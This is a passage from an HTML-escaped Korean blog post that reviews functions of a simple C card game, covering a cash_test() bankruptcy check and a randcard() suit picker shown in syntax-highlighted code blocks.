14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash_test()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Test&amp;nbsp;for&amp;nbsp;if&amp;nbsp;user&amp;nbsp;has&amp;nbsp;cash&amp;nbsp;remaining&amp;nbsp;in&amp;nbsp;purse&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Once&amp;nbsp;user&amp;nbsp;has&amp;nbsp;zero&amp;nbsp;remaining&amp;nbsp;cash,&amp;nbsp;game&amp;nbsp;ends&amp;nbsp;and&amp;nbsp;prompts&amp;nbsp;user&amp;nbsp;to&amp;nbsp;play&amp;nbsp;again&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;Are&amp;nbsp;Bankrupt.&amp;nbsp;Game&amp;nbsp;Over&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;askover();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;Function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;유저(게임 참여자)가 betting 할 잔액이 남아 있는지 확인하는 함수이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제가 없음을 확인 할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;randcard() function&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;randcard()&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Generates&amp;nbsp;random&amp;nbsp;card&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;srand((&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;time(&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;));&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Generates&amp;nbsp;random&amp;nbsp;seed&amp;nbsp;for&amp;nbsp;rand()&amp;nbsp;function&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;random_card&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;rand()%&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(random_card&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;clubcard();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(random_card&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diamondcard();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(random_card&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;heartcard();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(random_card&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;spadecard();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;l;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;Function&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
